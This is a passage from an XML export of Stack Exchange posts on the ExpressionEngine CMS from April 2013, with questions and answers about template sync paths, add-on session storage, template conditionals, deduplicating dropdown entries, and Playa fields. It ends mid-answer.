  <row Id="9698" PostTypeId="1" AcceptedAnswerId="9699" CreationDate="2013-04-25T14:42:42.297" Score="0" ViewCount="563" Body="&lt;p&gt;(EE 2.5.5) All of a sudden making changes to the template files stopped getting inhaled into the app. The changes are on the server, but they're not showing up on the rendered pages. I'm guessing that EE is no longer using the files, but rather the databased versions of the templates. This is borne out when I go to the Synchronize Templates page in the Control Panel: all the templates have &quot;No file exists&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some configuration setting that got mangled along the way? Any other magickal invocations to aid this along?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &quot;Design &gt; Templates &gt; Global Preferences &gt; Basepath to Template File Directory&quot; is set to our production server, though it should be set to our staging server path. When we try to update it, it says it accepts the change, but going back to the page shows it's still set to prod. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-25T14:48:02.107" Title="Synchronize Templates Show No file exists" Tags="|templates|deployment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9699" PostTypeId="2" ParentId="9698" CreationDate="2013-04-25T14:48:02.107" Score="2" Body="&lt;p&gt;Try by setting this config value within config file (/system/expressionengine/config/config.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['tmpl_file_basepath'] = 'template/basepath';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also check if &quot;Basepath to Template File Directory&quot; is already set within config file.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-25T14:48:02.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9700" PostTypeId="1" CreationDate="2013-04-25T15:13:53.550" Score="2" ViewCount="1503" Body="&lt;p&gt;I am needing to set and and retrieve a variable within this addon.&#xA;For example on one page my module connects to a remote server and gets an auth code. I would then use that auth code for all subsequent requests back to that remote server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed that like in codeigniter i could just store this in a session, most likely the EE session. But everything i have tried does not store for the period of the session, just the time it is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i being a numpty?&#xA;Or do i need to roll my own session setup and storage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, N&lt;/p&gt;&#xA;" OwnerUserId="1114" LastEditorUserId="150" LastEditDate="2014-02-25T06:05:48.067" LastActivityDate="2014-02-25T06:05:48.067" Title="EE Addon Module - How to store a value in a EE session?" Tags="|cache|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9701" PostTypeId="2" ParentId="9668" CreationDate="2013-04-25T15:16:49.010" Score="0" Body="&lt;p&gt;A fix has been posted now to the &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19331&quot; rel=&quot;nofollow&quot;&gt;bug 19331&lt;/a&gt;. Just a few lines to replace. Just tested it and it's working fine.&lt;/p&gt;&#xA;" OwnerUserId="587" LastEditorUserId="587" LastEditDate="2013-04-29T16:13:05.693" LastActivityDate="2013-04-29T16:13:05.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9702" PostTypeId="2" ParentId="9675" CreationDate="2013-04-25T15:32:35.573" Score="1" Body="&lt;p&gt;In short, no i have not seen anything that does what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand your need - wanting to choose the thumbnail pre-processed file, and auto link it to the large pro-processed file - but i know of not automated addon that does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically yes, as you say i use a custom field, and then create it within the template. Often i do not use EE's pre-processed images but something like CE_IMAGE which processes and caches the various size images at template output. Hence very easily to set large and small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to agree that it would be tricky to modify a WYSIWYG editor field to do this. Not impossible, but would require deep connections to EE. I can only think you go manualy, upload thumb, upload large, and manually link in WYSIWYG editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-04-25T15:32:35.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9703" PostTypeId="2" ParentId="9700" CreationDate="2013-04-25T15:33:53.797" Score="0" Body="&lt;p&gt;With the EE session class you can set user data like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_userdata(array('session_name' =&amp;gt; $value));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get this user session data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session_name = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('session_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be better to use global session variable $_SESSION.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (session_id() == &quot;&quot;) &#xA;{&#xA;session_start(); &#xA;}&#xA;&#xA;$_SESSION['SESSION_NAME'] = $value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-25T15:44:59.230" LastActivityDate="2013-04-25T15:44:59.230" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9704" PostTypeId="2" ParentId="9700" CreationDate="2013-04-25T15:55:44.157" Score="2" Body="&lt;p&gt;I think I would use the cache vs. the user data. The userdata is tied to the specific member that is logged in. The session cache is more appropriately used for add-ons (or developers) wanting to retrieve information in a subsequent method call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_cache('your_addon', 'your_cache_var', 'some value');&#xA;&#xA;$cache = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache['your_addon']['your_cache_var']' // return 'some value'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastEditorUserId="872" LastEditDate="2013-04-25T16:13:40.247" LastActivityDate="2013-04-25T16:13:40.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9707" PostTypeId="1" AcceptedAnswerId="9727" CreationDate="2013-04-25T17:14:43.303" Score="1" ViewCount="969" Body="&lt;p&gt;I just tried to upgrade to 2.6 - the installation went fine, however now I am unable to login - after logging in, I am always returned to the login screen again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the system has actually logged me in because I can tell from the front end. However I notice the S=0 in the query string so I am guessing it's something to do with the session not being set correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas?  I am using structure 3.3.8 if that is of any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-12-02T12:01:28.000" Title="Unable to login after upgrading to 2.6" Tags="|control-panel|ee2-upgrades|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9708" PostTypeId="1" AcceptedAnswerId="9726" CreationDate="2013-04-25T17:15:57.810" Score="0" ViewCount="88" Body="&lt;p&gt;I am trying to control what is displayed in a table view based on a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am trying to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr class=&quot;odd&quot;&amp;gt;&#xA;    &amp;lt;td&amp;gt;Small&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;1000x600&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;$25&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr class=&quot;even&quot;&amp;gt;&#xA;    &amp;lt;td&amp;gt;Medium&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;2000 x 1300&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;$50&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{if max_dimensions != '1536 x 2048' OR max_dimensions != '2048 x 1536' }&#xA;&amp;lt;tr class=&quot;odd&quot;&amp;gt;&#xA;    &amp;lt;td&amp;gt;Large&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;3000 x 2003&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;$75&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case if the max_dimensions of a photograph is &lt;strong&gt;not&lt;/strong&gt; '1536 x 2048' or '2048 x 1536' I want the third row of data to be displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I limited it to just one conditional as follows and it worked. However when I add the OR, it fails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if max_dimensions != '1536 x 2048' }&#xA;&amp;lt;tr class=&quot;odd&quot;&amp;gt;&#xA;    &amp;lt;td&amp;gt;Large&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;3000 x 2003&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;$75&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That basic objective is, if the picture is not big enough, I don't want the third row to be displayed. What is the correct way to word this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-04-26T00:48:55.590" Title="Need help with a conditional statement" Tags="|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9709" PostTypeId="2" ParentId="9675" CreationDate="2013-04-25T17:29:15.357" Score="0" Body="&lt;p&gt;I'm not sure I understand your question completely, but are you using a WYSIWYG editor? Wygwam and Channel Images are integrated. So, conceivably, your user could insert the image desired via the Channel Images button, and then manually create a link to that same image. You could then use CE_Image's bulk tag to wrap around the Wygwam field so that the inline image is sized down to whatever thumb dimensions you prefer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems a bit convoluted though, there may be ways to streamline it by playing around with multiple file upload folders or tying into CE_Image's hooks?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-04-25T17:29:15.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9710" PostTypeId="1" CreationDate="2013-04-25T18:00:32.463" Score="0" ViewCount="991" Body="&lt;p&gt;I am creating a dropdown menu for a mailing list sign up form for an events company. I would like to give people the option to select a city where the company has had an event in the past or where there will be an upcoming event. To do this, I'm calling all of the event entries and displaying their cities in the dropdown. However, sometimes the company has had events multiple times in one city. How can I remove the duplicates? I have found some answers to questions similar to this where the solution uses php, however I'm having trouble getting that to work in my specific instance. Here is my code for the select dropdown menu: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;MERGE1&quot; name=&quot;MERGE1&quot;&amp;gt;&#xA;    &amp;lt;!--innitial display field is blank--&amp;gt;&#xA;         &amp;lt;option value=&quot;&quot; selected&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;!--values show in dropdown---&amp;gt;&#xA;         {exp:channel:entries  channel=&quot;events&quot; status=&quot;next event|open|closed&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA;         &amp;lt;option value=&quot;{event_city}&quot;&amp;gt;{event_city}&amp;lt;/option&amp;gt;&#xA;         {/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;**edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using an expression engine query solved the innitial problem. however, now i'd like to show cities that appear in 2 different fields and two different channel ID's. Here's what I'm working with so far, which is stripping out the duplicated within the channel ID's but still showing duplicates across multiple channel ID's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;MERGE1&quot; name=&quot;MERGE1&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot; selected&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp:query sql=&quot;SELECT exp_channel_data.field_id_1 AS event_city, exp_channel_data.field_id_202 AS event_city2 FROM exp_channel_data &#xA;          INNER JOIN exp_channel_titles ON exp_channel_data.entry_id=exp_channel_titles.entry_id &#xA;          WHERE ( exp_channel_titles.channel_id=1 OR exp_channel_titles.channel_id=29 ) AND (exp_channel_titles.status='next event' OR exp_channel_titles.status='open' OR exp_channel_titles.status='closed') GROUP BY exp_channel_data.field_id_1, exp_channel_data.field_id_202&quot;}&#xA;            {if event_city != ''}&#xA;               &amp;lt;option value=&quot;{event_city}&quot;&amp;gt;{event_city}&amp;lt;/option&amp;gt;&#xA;            {if:else}&#xA;               &amp;lt;option value=&quot;{event_city2}&quot;&amp;gt;{event_city2}&amp;lt;/option&amp;gt;&#xA;            {/if}&#xA;     {/exp:query}&#xA; &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="899" LastEditorUserId="899" LastEditDate="2013-04-25T20:13:40.477" LastActivityDate="2013-04-25T20:13:40.477" Title="Remove Duplicate Values in List from Channel Entries" Tags="|channel-entries|drop-down|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9711" PostTypeId="2" ParentId="9710" CreationDate="2013-04-25T18:15:30.223" Score="2" Body="&lt;p&gt;You can do it with the query module. Try it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;MERGE1&quot; name=&quot;MERGE1&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot; selected&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp:query sql=&quot;SELECT exp_channel_data.field_id_1 AS event_city, exp_channel_data.field_id_202 AS event_city2 FROM exp_channel_data &#xA;        INNER JOIN exp_channel_titles ON exp_channel_data.entry_id=exp_channel_titles.entry_id &#xA;        WHERE ( exp_channel_titles.channel_id=1 OR exp_channel_titles.channel_id=29 ) AND (exp_channel_titles.status='next event' OR exp_channel_titles.status='open' OR exp_channel_titles.status='closed') GROUP BY exp_channel_data.field_id_1, exp_channel_data.field_id_202&quot;}&#xA;    &amp;lt;option value=&quot;{event_city}&quot;&amp;gt;{event_city}&amp;lt;/option&amp;gt;&#xA;    {/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &quot;field_id_1&quot;, the &quot;1&quot; might be replaced with the field id of Event City and put correct channel_id within WHERE condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see, you are passing parameters: show_future_entries=&quot;yes&quot; and show_expired=&quot;yes&quot; in channel entry tag. It wouldn't be needed in SQL.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-25T19:14:12.843" LastActivityDate="2013-04-25T19:14:12.843" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9712" PostTypeId="2" ParentId="9708" CreationDate="2013-04-25T18:22:34.423" Score="0" Body="&lt;p&gt;Can you try it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{max_dimensions}&quot; != &quot;1536 x 2048&quot; OR &quot;{max_dimensions}&quot; != &quot;2048 x 1536&quot;}&#xA;&amp;lt;tr class=&quot;odd&quot;&amp;gt;&#xA;    &amp;lt;td&amp;gt;Large&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;3000 x 2003&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;$75&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it didn't work, you can try another quick way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if &quot;{max_dimensions}&quot; != &quot;1536 x 2048&quot;}&#xA;    &amp;lt;tr class=&quot;odd&quot;&amp;gt;&#xA;        &amp;lt;td&amp;gt;Large&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;3000 x 2003&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$75&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {if:elseif &quot;{max_dimensions}&quot; != &quot;2048 x 1536&quot;}&#xA;    &amp;lt;tr class=&quot;odd&quot;&amp;gt;&#xA;        &amp;lt;td&amp;gt;Large&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;3000 x 2003&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;$75&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{if:else} {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-25T18:32:25.460" LastActivityDate="2013-04-25T18:32:25.460" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9713" PostTypeId="2" ParentId="9707" CreationDate="2013-04-25T18:23:29.123" Score="2" Body="&lt;p&gt;I don't know if it would be helpful or not, but, you could try disabling the session stuff (by using cookies only) via your config.php by using the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['user_session_type'] = 'c';&#xA;$config['admin_session_type'] = 'c';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-04-25T18:23:29.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9714" PostTypeId="2" ParentId="9672" CreationDate="2013-04-25T18:50:23.387" Score="0" Body="&lt;p&gt;John,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you remove the old field pack and any dive bar files you had in the filesystem?  I think those remaining there may be the cause of this error.  Of course please make backups first!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that fixes this up for you, please.  Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa, P&amp;amp;T&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-25T18:50:23.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9715" PostTypeId="2" ParentId="9710" CreationDate="2013-04-25T19:47:51.063" Score="0" Body="&lt;p&gt;You could also use &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; and something like the following. You'd set variables in the first part and then output them when making the select options, using the unique=&quot;yes&quot; parameter to filter out duplicates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;st_city_list&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;    {exp:channel:entries  channel=&quot;events&quot; status=&quot;next event|open|closed&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA;        {stash:st_event_city}{event_city}{/stash:st_event_city}&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;&amp;lt;select id=&quot;MERGE1&quot; name=&quot;MERGE1&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!--innitial display field is blank--&amp;gt;&#xA;         &amp;lt;option value=&quot;&quot; selected&amp;gt;&amp;lt;/option&amp;gt;&#xA;&#xA;    &amp;lt;!--values show in dropdown---&amp;gt;&#xA;         {exp:stash:get_list name=&quot;st_city_list&quot; unique=&quot;yes&quot;}&#xA;            &amp;lt;option value=&quot;{st_event_city}&quot;&amp;gt;{st_event_city}&amp;lt;/option&amp;gt;&#xA;         {/exp:stash:get_list}&#xA;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-25T19:47:51.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9716" PostTypeId="2" ParentId="9672" CreationDate="2013-04-25T19:55:17.533" Score="2" Body="&lt;p&gt;I ran into this problem as well - To solve it I:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Installed each of the new &quot;Field Pack&quot; plugins (which uninstalls the old versions automatically). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once they were all uninstalled the problem resolved itself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To keep the third party folder nice and tidy I then deleted the old PT_ files from the plugin directory (but you want the new pt_field_pack folder still!).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-04-25T19:55:17.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9717" PostTypeId="2" ParentId="8810" CreationDate="2013-04-25T20:10:22.713" Score="1" Body="&lt;p&gt;The fix: a quote was missing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bad&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:next_entry channel=&quot;leadership}&#xA;        Next&#xA;{/exp:channel:next_entry}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Good&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:next_entry channel=&quot;leadership&quot;}&#xA;        Next&#xA;{/exp:channel:next_entry}&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2013-04-25T20:10:22.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9719" PostTypeId="2" ParentId="7538" CreationDate="2013-04-25T21:28:32.010" Score="1" Body="&lt;p&gt;As Jessica noted, &quot;Require Member Account Activation?&quot; is an EE config setting (available in the CP Member module) that Profile:Edit is simply echoing in its own settings. Unless you change this setting to &quot;No Activation Required&quot; then the new registered user will go into Pending group if you are registering them with a Profile:Edit register tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around it, you'd need to hook into P:E or the Member module and make some changes.&lt;/p&gt;&#xA;" OwnerUserId="1290" LastActivityDate="2013-04-25T21:28:32.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9720" PostTypeId="1" CreationDate="2013-04-25T22:30:31.007" Score="1" ViewCount="75" Body="&lt;p&gt;Congratulations to P&amp;amp;T on all the changes lately, brilliant work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used noticed after the P&amp;amp;T website was changed and all the modules updates are handled by &lt;a href=&quot;http://devot-ee.com/&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/&lt;/a&gt; the NSM Addon Updater they used to support is not working, I can only assume they need to change the config file in the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it still possible to use NSM add-on updater with P&amp;amp;T add-ons?&lt;/p&gt;&#xA;" OwnerUserId="1385" LastEditorUserId="150" LastEditDate="2013-04-27T23:08:13.563" LastActivityDate="2013-05-28T00:30:29.243" Title="NSM Addon Updater not working with P&amp;T modules" Tags="|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9722" PostTypeId="2" ParentId="9720" CreationDate="2013-04-25T22:43:59.200" Score="0" Body="&lt;p&gt;It might only be updated through the &lt;a href=&quot;http://devot-ee.com/add-ons/devotee-monitor&quot; rel=&quot;nofollow&quot;&gt;devot-ee Monitor&lt;/a&gt; add-on now.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-25T22:43:59.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9724" PostTypeId="2" ParentId="9720" CreationDate="2013-04-26T00:15:21.733" Score="1" Body="&lt;p&gt;devot:ee doesn’t support NSM Addon Updater. I’ve suggested it to Ryan, and we’ve left the URLs in our latest round of updates, so if they ever add it, we can add some 301 redirects on pixelandtonic.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something tells me it won't ever happen though. Most people have moved on to &lt;a href=&quot;http://devot-ee.com/add-ons/devotee-monitor&quot; rel=&quot;nofollow&quot;&gt;devot:ee Monitor&lt;/a&gt; at this point, for good reason.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-04-26T00:15:21.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9725" PostTypeId="1" CreationDate="2013-04-26T00:16:53.200" Score="1" ViewCount="148" Body="&lt;p&gt;I'm displaying a list of Packages and within those Packages are Products. The Packages channel entry has a Playa field populated by Product channel entries. So to display them I have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{packages} {!-- Playa field --}&#xA;&#xA;{exp:playa:children field=&quot;packages_products&quot;} {!-- Playa entries --}&#xA;{product 1}&#xA;{product 2}&#xA;{/exp:playa:children}&#xA;&#xA;{/packages)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have detailed descriptions for the Products that are hidden until clicked on and they expand, using &lt;a href=&quot;http://twitter.github.io/bootstrap/javascript.html#collapse&quot; rel=&quot;nofollow&quot;&gt;Bootstrap's Collapse plugin&lt;/a&gt;. And the issue I'm running into is that I need each Product to have some sort of unique identifier because each Package can have one or more of the same Products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looking at the example below you can see that Product 2 is in both Packages. Using Bootstrap's Collapse if you click on Product 2 in Package 1 the details will expand, BUT clicking on Product 2 in Package 2 only expands Product 2 in Package 1. Essentially I need to add some sort of unique identifier to every Product that's repeated across Packages in order for Collapse to work correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{packages} {!-- Package 1 --}&#xA;{exp:playa:children field=&quot;packages_products&quot;} {!-- Playa entries for Package 1 --}&#xA;{product 1}&#xA;{product 2}&#xA;{/exp:playa:children}&#xA;{/packages)&#xA;&#xA;{packages} {!-- Package 2 --}&#xA;{exp:playa:children field=&quot;packages_products&quot;} {!-- Playa entries for Package 2 --}&#xA;{product 5}&#xA;{product 2}&#xA;{/exp:playa:children}&#xA;{/package)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Theoretically I'd be able to grab the entry_id of the Package channel entry that the Product Playa entry is in, so something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{packages} {!-- Package 1 --}&#xA;{exp:playa:children field=&quot;packages_products&quot;} {!-- Playa entries for Package 1 --}&#xA;{product 1}&#xA;{product 2-1}&#xA;{/exp:playa:children}&#xA;{/packages)&#xA;&#xA;{packages} {!-- Package 2 --}&#xA;{exp:playa:children field=&quot;packages_products&quot;} {!-- Playa entries for Package 2 --}&#xA;{product 5}&#xA;{product 2-2}&#xA;{/exp:playa:children}&#xA;{/package)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I've tried for the last few hours and haven't figured it out. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt; More specific code from my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{films_packages_products}&#xA;{exp:playa:children field=&quot;packages_products&quot;}&#xA;&amp;lt;h3&amp;gt;{packages_name}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&#xA;{products_summary}&#xA;{!-- need a unique id for the Collapse js to target next line --}&#xA;&amp;lt;a data-toggle=&quot;collapse&quot; data-target=&quot;#{unique id}_{url_title}&quot;&amp;gt;More Info&amp;lt;/a&amp;gt;&#xA;{!-- need a unique id for the Collapse js to target next line that matches the above --}&#xA;&amp;lt;div id=&quot;{unique id}_{url_title}&quot; class=&quot;collapse&quot;&amp;gt;&#xA;{products_features}&#xA;&amp;lt;li&amp;gt;{feature_bullet}&amp;lt;/li&amp;gt;&#xA;{/products_features}                                            &#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:playa:children}&#xA;{/films_packages_products}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2013-04-26T06:05:02.757" LastActivityDate="2013-05-29T21:32:00.563" Title="Playa Entries and Unique Identifiers" Tags="|templates|playa|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9726" PostTypeId="2" ParentId="9708" CreationDate="2013-04-26T00:48:55.590" Score="1" Body="&lt;p&gt;You can't really use an OR conditional when both are &quot;not equal to&quot; because both conditions can be satisfied at the same time (as in your example, when the entry in question matches both conditions at the same time).  You can easily use OR when you are asked for equal to, but not equal to is a different animal.  On the surface it seems like OR is what you're looking for, but really what it seems you're looking for is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if max_dimensions != &quot;option A&quot; OR &quot;option B&quot;}&#xA;    display third row only if max dimensions are anything other than options A or B&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that's not how such a conditional is written - but that's the structure of the logic you are going for. But to write that, you 